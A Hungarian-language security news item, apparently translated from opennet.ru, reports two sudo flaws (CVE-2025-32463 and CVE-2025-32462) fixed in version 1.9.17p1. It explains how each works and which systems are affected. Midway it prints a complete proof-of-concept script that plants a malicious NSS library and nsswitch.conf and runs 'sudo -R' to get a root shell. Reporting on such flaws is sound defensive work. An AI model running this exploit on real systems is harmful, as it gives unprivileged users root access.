A sudo csomagban, amelyet más felhasználók nevében végrehajtott parancsok végrehajtására használnak, egy sérülékenységet (CVE-2025-32463) fedeztek fel, amely lehetővé teszi, hogy bármely nem privilégiumos felhasználó root jogosultsággal kódot futtasson, még akkor is, ha a felhasználó nincs megemlítve a sudoers konfigurációban. A probléma érinti azokat a disztribúciókat, amelyek a /etc/nsswitch.conf konfigurációs fájlt használják, például a sérülékenység kihasználásának lehetőségét az Ubuntu 24.04 és Fedora 41 esetében mutatták be.
A sérülékenység alapértelmezett konfigurációban jelentkezik, és a sudo 1.9.14 és 1.9.17 közötti verzióiban megerősítették (potenciálisan érinti az összes verziót, amely 1.8.33-tól kezdődik). A problémát a sudo 1.9.17p1 frissítésével orvosolták. Az új csomag verziójának állapotát, vagy a disztribúciókban elérhető javítást ezen az oldalakon ellenőrizheti (ha az oldal nem elérhető, a disztribúció fejlesztői még nem kezdték el a probléma kezelését): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo és Arch (1, 2).
A probléma abból adódik, hogy amikor a parancsokat a chroot környezetben egy kiválasztott felhasználó gyökérmappájával hajtják végre az „-R” („—chroot”) opcióval, a /etc/nsswitch.conf fájl a megadott gyökérmappa kontextusában töltődik be, és nem a rendszerszerű mappában. Mivel a felhasználó a chroot számára saját mappáját használhatja gyökérmappa gyanánt, elhelyezheti benne az nsswitch.conf konfigurációs fájlját. Az NSS (Name Service Switch) által betöltött /etc/nsswitch.conf fájl vezérlésével a felhasználó olyan beállításokat adhat hozzá, amelyek további kezelőket hívnak meg. Az ilyen kezelők a megosztott könyvtárak formájában töltődnek be, amelyeket szintén el lehet helyezni a felhasználó által ellenőrzött mappában. Ha a felhasználó a saját könyvtárába helyezi a könyvtárát, képes kódot végrehajtani root jogokkal, mivel az NSS feldolgozás a jogosultságok visszaállítása előtt történik.
Példa exploit: #!\/bin\/bash STAGE=$(mktemp -d \/tmp\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("\/ "); execl("\/bin\/bash", "\/bin\/bash", NULL); } EOF mkdir -p woot\/etc libnss_ echo "passwd: \/woot1337" > woot\/etc\/nsswitch.conf cp \/etc\/group woot\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
A sudo 1.9.17p1 verzióban egy újabb sebezhetőséget is megszüntettek (CVE-2025-32462), amely lehetővé tette parancsok root jogokkal való végrehajtását, de csak a sudoers konfigurációkban, ahol a „host” paraméter értéke eltér az ALL-tól vagy a jelenlegi host nevéttől. A sebezhetőség abból adódik, hogy a „-h” („—host”) opció nemcsak az „-l” („—list”) opcióval együtt működött a hosthoz kapcsolódó privilégiumok megjelenítéséhez, hanem parancsok futtatásakor is. Így a felhasználó bármilyen hostot megadhatott a sudo hívásakor, és megkerülhette a host névéhez kapcsolódó sudoers szabályok korlátozásait.
A támadáshoz a felhasználónak szerepelnie kell a sudoers-ben, például ha a beállítások között szerepel a „testuser testhost = ALL”, akkor a „testuser” felhasználó megadhatta a „sudo -h testhost” parancsot, és root jogokkal futtathatta a parancsokat bármely hoston, nemcsak a testhoston. A sebezhetőségek nem érintik a „testuser ALL = ALL” típusú beállításokkal vagy explicit szabályok nélküli konfigurációkat.
Forrás: opennet.ru
